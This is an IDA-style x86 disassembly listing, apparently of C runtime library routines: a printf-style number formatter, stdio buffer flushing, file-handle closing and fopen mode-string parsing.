loc_41824E:				; CODE XREF: sub_417D4C+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_418275
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41826A
		call	sub_41852B
		pop	ecx
		movsx	eax, ax

loc_418267:				; CODE XREF: sub_417D4C+527j
					; sub_417D4C+539j
		cdq
		jmp	short loc_41828F
; ---------------------------------------------------------------------------

loc_41826A:				; CODE XREF: sub_417D4C+510j
		call	sub_41852B
		pop	ecx
		movzx	eax, ax
		jmp	short loc_418267
; ---------------------------------------------------------------------------

loc_418275:				; CODE XREF: sub_417D4C+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_418287
		call	sub_41852B
		pop	ecx
		jmp	short loc_418267
; ---------------------------------------------------------------------------

loc_418287:				; CODE XREF: sub_417D4C+531j
		call	sub_41852B
		pop	ecx
		xor	edx, edx

loc_41828F:				; CODE XREF: sub_417D4C+500j
					; sub_417D4C+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4182B0
		test	edx, edx
		jg	short loc_4182B0
		jl	short loc_41829F
		test	eax, eax
		jnb	short loc_4182B0

loc_41829F:				; CODE XREF: sub_417D4C+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4182B4
; ---------------------------------------------------------------------------

loc_4182B0:				; CODE XREF: sub_417D4C+547j
					; sub_417D4C+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_4182B4:				; CODE XREF: sub_417D4C+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4182BD
		and	edi, 0

loc_4182BD:				; CODE XREF: sub_417D4C+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4182CC
		mov	[ebp+var_10], 1
		jmp	short loc_4182D0
; ---------------------------------------------------------------------------

loc_4182CC:				; CODE XREF: sub_417D4C+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_4182D0:				; CODE XREF: sub_417D4C+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4182DA
		and	[ebp+var_1C], 0

loc_4182DA:				; CODE XREF: sub_417D4C+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_4182E0:				; CODE XREF: sub_417D4C+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4182F0
		mov	eax, esi
		or	eax, edi
		jz	short loc_41832B

loc_4182F0:				; CODE XREF: sub_417D4C+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_417260
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_4172E0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_418321
		add	ebx, [ebp+var_2C]

loc_418321:				; CODE XREF: sub_417D4C+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4182E0
; ---------------------------------------------------------------------------

loc_41832B:				; CODE XREF: sub_417D4C+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_418356
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_418349
		test	eax, eax
		jnz	short loc_418356

loc_418349:				; CODE XREF: sub_417D4C+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_418353:				; CODE XREF: sub_417D4C+35Fj
					; sub_417D4C+406j ...
		mov	[ebp+var_C], eax

loc_418356:				; CODE XREF: sub_417D4C+21Bj
					; sub_417D4C+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_418454	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41838E
		test	bh, 1
		jz	short loc_418373
		mov	[ebp+var_16], 2Dh
		jmp	short loc_418387
; ---------------------------------------------------------------------------

loc_418373:				; CODE XREF: sub_417D4C+61Fj
		test	bl, 1
		jz	short loc_41837E
		mov	[ebp+var_16], 2Bh
		jmp	short loc_418387
; ---------------------------------------------------------------------------

loc_41837E:				; CODE XREF: sub_417D4C+62Aj
		test	bl, 2
		jz	short loc_41838E
		mov	[ebp+var_16], 20h

loc_418387:				; CODE XREF: sub_417D4C+625j
					; sub_417D4C+630j
		mov	[ebp+var_1C], 1

loc_41838E:				; CODE XREF: sub_417D4C+61Aj
					; sub_417D4C+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4183AE
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4184C2
		add	esp, 10h

loc_4183AE:				; CODE XREF: sub_417D4C+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4184F3
		add	esp, 10h
		test	bl, 8
		jz	short loc_4183E0
		test	bl, 4
		jnz	short loc_4183E0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4184C2
		add	esp, 10h

loc_4183E0:				; CODE XREF: sub_417D4C+67Bj
					; sub_417D4C+680j
		cmp	[ebp+var_24], 0
		jz	short loc_418427
		cmp	[ebp+var_C], 0
		jle	short loc_418427
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_4183F5:				; CODE XREF: sub_417D4C+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41D18F
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41843C
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4184F3
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4183F5
		jmp	short loc_41843C
; ---------------------------------------------------------------------------

loc_418427:				; CODE XREF: sub_417D4C+698j
					; sub_417D4C+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4184F3
		add	esp, 10h

loc_41843C:				; CODE XREF: sub_417D4C+6BCj
					; sub_417D4C+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_418454 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4184C2
		add	esp, 10h

loc_418454:				; CODE XREF: sub_417D4C+68j
					; sub_417D4C+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_417D78

loc_418465:				; CODE XREF: sub_417D4C+1Fj
					; sub_417D4C+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417D4C	endp

; ---------------------------------------------------------------------------
off_41846D	dd offset loc_417EEB	; DATA XREF: sub_417D4C+6Er
		dd offset loc_417DC1	; jump table for switch	statement
		dd offset loc_417DDC
		dd offset loc_417E28
		dd offset loc_417E5F
		dd offset loc_417E67
		dd offset loc_417E9C
		dd offset loc_417F2F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41848D	proc near		; CODE XREF: sub_417D4C+1BDp
					; sub_417D4C+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_4184A6
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4184B1
; ---------------------------------------------------------------------------

loc_4184A6:				; CODE XREF: sub_41848D+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_417C37
		pop	ecx
		pop	ecx

loc_4184B1:				; CODE XREF: sub_41848D+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4184BE
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4184BE:				; CODE XREF: sub_41848D+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41848D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184C2	proc near		; CODE XREF: sub_417D4C+65Ap
					; sub_417D4C+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4184F0
		mov	esi, [esp+8+arg_C]

loc_4184D3:				; CODE XREF: sub_4184C2+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41848D
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4184F0
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4184D3

loc_4184F0:				; CODE XREF: sub_4184C2+Bj
					; sub_4184C2+25j
		pop	edi
		pop	esi
		retn
sub_4184C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184F3	proc near		; CODE XREF: sub_417D4C+670p
					; sub_417D4C+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_418527
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_418509:				; CODE XREF: sub_4184F3+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41848D
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_418527
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_418509

loc_418527:				; CODE XREF: sub_4184F3+Cj
					; sub_4184F3+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4184F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41852B	proc near		; CODE XREF: sub_417D4C+E5p
					; sub_417D4C+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41852B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418538	proc near		; CODE XREF: sub_417D4C+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_418538	endp


; =============== S U B	R O U T	I N E =======================================



sub_418548	proc near		; CODE XREF: sub_417D4C+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_418548	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418556	proc near		; CODE XREF: sub_4159D4+17p
					; sub_4159D4+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_418574
		mov	ecx, off_437D70
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4185C6
; ---------------------------------------------------------------------------

loc_418574:				; CODE XREF: sub_418556+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_437D70
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_418599
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_4185A2
; ---------------------------------------------------------------------------

loc_418599:				; CODE XREF: sub_418556+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_4185A2:				; CODE XREF: sub_418556+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41D1F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4185C2
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185C2:				; CODE XREF: sub_418556+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_4185C6:				; CODE XREF: sub_418556+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_418556	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185CB	proc near		; CODE XREF: sub_415B40+2Ap
					; sub_41D55A+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_46A8C0
		jnb	loc_418665
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A7C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_418665
		push	edi
		call	sub_41D4C6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418644
		cmp	edi, 1
		jz	short loc_418612
		cmp	edi, 2
		jnz	short loc_418628

loc_418612:				; CODE XREF: sub_4185CB+40j
		push	2
		call	sub_41D4C6
		push	1
		mov	ebp, eax
		call	sub_41D4C6
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_418644

loc_418628:				; CODE XREF: sub_4185CB+45j
		push	edi
		call	sub_41D4C6
		pop	ecx
		push	eax
		call	dword_42106C	; CloseHandle
		test	eax, eax
		jnz	short loc_418644
		call	dword_421088	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_418646
; ---------------------------------------------------------------------------

loc_418644:				; CODE XREF: sub_4185CB+3Bj
					; sub_4185CB+5Bj ...
		xor	ebp, ebp

loc_418646:				; CODE XREF: sub_4185CB+77j
		push	edi
		call	sub_41D44C
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_418661
		push	ebp
		call	sub_41C5D7
		pop	ecx
		jmp	short loc_418676
; ---------------------------------------------------------------------------

loc_418661:				; CODE XREF: sub_4185CB+8Bj
		xor	eax, eax
		jmp	short loc_418679
; ---------------------------------------------------------------------------

loc_418665:				; CODE XREF: sub_4185CB+Ej
					; sub_4185CB+2Fj
		and	dword_469498, 0
		mov	dword_469494, 9

loc_418676:				; CODE XREF: sub_4185CB+94j
		or	eax, 0FFFFFFFFh

loc_418679:				; CODE XREF: sub_4185CB+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4185CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41867E	proc near		; CODE XREF: sub_415B40+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_4186A7
		test	al, 8
		jz	short loc_4186A7
		push	dword ptr [esi+8]
		call	sub_415E3D
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_4186A7:				; CODE XREF: sub_41867E+Aj
					; sub_41867E+Ej
		pop	esi
		retn
sub_41867E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186A9	proc near		; CODE XREF: sub_418749+2Dp
					; sub_418749+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_4186BB
		push	esi
		call	sub_418749
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4186BB:				; CODE XREF: sub_4186A9+7j
		push	esi
		call	sub_4186E4
		test	eax, eax
		pop	ecx
		jz	short loc_4186CB
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4186CB:				; CODE XREF: sub_4186A9+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_4186E0
		push	dword ptr [esi+10h]
		call	sub_41D503
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4186E0:				; CODE XREF: sub_4186A9+26j
		xor	eax, eax
		pop	esi
		retn
sub_4186A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186E4	proc near		; CODE XREF: sub_415B40+1Ap
					; sub_416E3E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_418731
		test	ax, 108h
		jz	short loc_418731
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_418731
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41C42A
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41872A
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_418731
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_418731
; ---------------------------------------------------------------------------

loc_41872A:				; CODE XREF: sub_4186E4+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_418731:				; CODE XREF: sub_4186E4+14j
					; sub_4186E4+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4186E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_418740	proc near		; CODE XREF: sub_41D17Bp
		push	1
		call	sub_418749
		pop	ecx
		retn
sub_418740	endp


; =============== S U B	R O U T	I N E =======================================



sub_418749	proc near		; CODE XREF: sub_4186A9+Ap
					; sub_418740+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_46A7A0, esi
		jle	short loc_4187A7

loc_41875A:				; CODE XREF: sub_418749+5Cj
		mov	eax, dword_469780
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41879E
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41879E
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_418784
		push	eax
		call	sub_4186A9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41879E
		inc	ebx
		jmp	short loc_41879E
; ---------------------------------------------------------------------------

loc_418784:				; CODE XREF: sub_418749+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41879E
		test	cl, 2
		jz	short loc_41879E
		push	eax
		call	sub_4186A9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41879E
		or	edi, eax

loc_41879E:				; CODE XREF: sub_418749+1Bj
					; sub_418749+23j ...
		inc	esi
		cmp	esi, dword_46A7A0
		jl	short loc_41875A

loc_4187A7:				; CODE XREF: sub_418749+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_4187B2
		mov	eax, edi

loc_4187B2:				; CODE XREF: sub_418749+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187B6	proc near		; CODE XREF: sub_415B96+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41D0B0
		test	eax, eax
		pop	ecx
		jz	short loc_41883F
		cmp	esi, offset dword_438488
		jnz	short loc_4187D4
		xor	eax, eax
		jmp	short loc_4187DF
; ---------------------------------------------------------------------------

loc_4187D4:				; CODE XREF: sub_4187B6+18j
		cmp	esi, offset dword_4384A8
		jnz	short loc_41883F
		push	1
		pop	eax

loc_4187DF:				; CODE XREF: sub_4187B6+1Cj
		inc	dword_469654
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41883F
		cmp	dword_4694EC[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4694ECh[eax*4]
		mov	ebx, 1000h
		jnz	short loc_418825
		push	ebx
		call	sub_415DC9
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_418825
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_418832
; ---------------------------------------------------------------------------

loc_418825:				; CODE XREF: sub_4187B6+4Dj
					; sub_4187B6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_418832:				; CODE XREF: sub_4187B6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41883F:				; CODE XREF: sub_4187B6+10j
					; sub_4187B6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_4187B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418843	proc near		; CODE XREF: sub_415B96+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41886D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41887E
		push	esi
		call	sub_4186E4
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41886D:				; CODE XREF: sub_418843+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41887E
		push	eax
		call	sub_4186E4
		pop	ecx

loc_41887E:				; CODE XREF: sub_418843+10j
					; sub_418843+32j
		pop	esi
		retn
sub_418843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418880	proc near		; CODE XREF: sub_415BC8+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_46965C
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_4188B9
		cmp	al, 72h
		jz	short loc_4188B2
		cmp	al, 77h
		jnz	loc_4189CD
		mov	ecx, 301h
		jmp	short loc_4188BE
; ---------------------------------------------------------------------------

loc_4188B2:				; CODE XREF: sub_418880+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_4188C1
; ---------------------------------------------------------------------------

loc_4188B9:				; CODE XREF: sub_418880+1Dj
		mov	ecx, 109h

loc_4188BE:				; CODE XREF: sub_418880+30j
		or	esi, 2

loc_4188C1:				; CODE XREF: sub_418880+37j
		push	1
		pop	edx

loc_4188C4:				; CODE XREF: sub_418880+8Bj
					; sub_418880+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_4189B3
		cmp	edx, ebx
		jz	loc_4189B3
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_418952
		jz	short loc_418942
		sub	eax, 2Bh
		jz	short loc_41892C
		sub	eax, 19h
		jz	short loc_418922
		sub	eax, 0Eh
		jz	short loc_41890D
		dec	eax
		jnz	loc_4189A4
		cmp	[ebp+var_4], ebx
		jnz	loc_4189A4
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_4188C4
; ---------------------------------------------------------------------------

loc_41890D:				; CODE XREF: sub_418880+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_4189A4
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_4188C4
; ---------------------------------------------------------------------------

loc_418922:				; CODE XREF: sub_418880+6Aj
		test	cl, 40h
		jnz	short loc_4189A4
		or	ecx, 40h
		jmp	short loc_4188C4
; ---------------------------------------------------------------------------

loc_41892C:				; CODE XREF: sub_418880+65j
		test	cl, 2
		jnz	short loc_4189A4
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_4188C4
; ---------------------------------------------------------------------------

loc_418942:				; CODE XREF: sub_418880+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_4189A4
		or	ecx, eax
		jmp	loc_4188C4
; ---------------------------------------------------------------------------

loc_418952:				; CODE XREF: sub_418880+5Ej
		sub	eax, 62h
		jz	short loc_41899F
		dec	eax
		jz	short loc_418988
		sub	eax, 0Bh
		jz	short loc_418971
		sub	eax, 6
		jnz	short loc_4189A4
		test	ch, 0C0h
		jnz	short loc_4189A4
		or	ch, 40h
		jmp	loc_4188C4
; ---------------------------------------------------------------------------

loc_418971:				; CODE XREF: sub_418880+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_4189A4
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_4188C4
; ---------------------------------------------------------------------------

loc_418988:				; CODE XREF: sub_418880+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4189A4
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_4188C4
; ---------------------------------------------------------------------------

loc_41899F:				; CODE XREF: sub_418880+D5j
		test	ch, 0C0h
		jz	short loc_4189AB

loc_4189A4:				; CODE XREF: sub_418880+72j
					; sub_418880+7Bj ...
		xor	edx, edx
		jmp	loc_4188C4
; ---------------------------------------------------------------------------

loc_4189AB:				; CODE XREF: sub_418880+122j
		or	ch, 80h
		jmp	loc_4188C4
; ---------------------------------------------------------------------------

loc_4189B3:				; CODE XREF: sub_418880+4Aj
					; sub_418880+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41D55A
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_4189D1

loc_4189CD:				; CODE XREF: sub_418880+25j
		xor	eax, eax
		jmp	short loc_4189EB
; ---------------------------------------------------------------------------

loc_4189D1:				; CODE XREF: sub_418880+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_469654
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_4189EB:				; CODE XREF: sub_418880+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418880	endp


; =============== S U B	R O U T	I N E =======================================



sub_4189F0	proc near		; CODE XREF: sub_415BC8p
		mov	edx, dword_46A7A0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_418A61
		mov	ebx, dword_469780
		mov	edi, ebx

loc_418A0C:				; CODE XREF: sub_4189F0+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_418A27
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_418A22
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_418A0C
		jmp	short loc_418A61
; ---------------------------------------------------------------------------

loc_418A22:				; CODE XREF: sub_4189F0+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_418A4B
; ---------------------------------------------------------------------------

loc_418A27:				; CODE XREF: sub_4189F0+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_415DC9
		pop	ecx
		mov	ecx, dword_469780
		mov	[edi+ecx], eax
		mov	eax, dword_469780
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_418A61
		mov	esi, edi

loc_418A4B:				; CODE XREF: sub_4189F0+35j
		cmp	esi, ebp
		jz	short loc_418A61
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_418A61:				; CODE XREF: sub_4189F0+12j
					; sub_4189F0+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4189F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A68	proc near		; CODE XREF: sub_415DDB+1Fp
					; sub_4174DF+106p ...

arg_0		= dword	ptr  4

		mov	eax, dword_4694F8
		test	eax, eax
		jz	short loc_418A80
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_418A80
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_418A80:				; CODE XREF: sub_418A68+7j
					; sub_418A68+12j
		xor	eax, eax
		retn
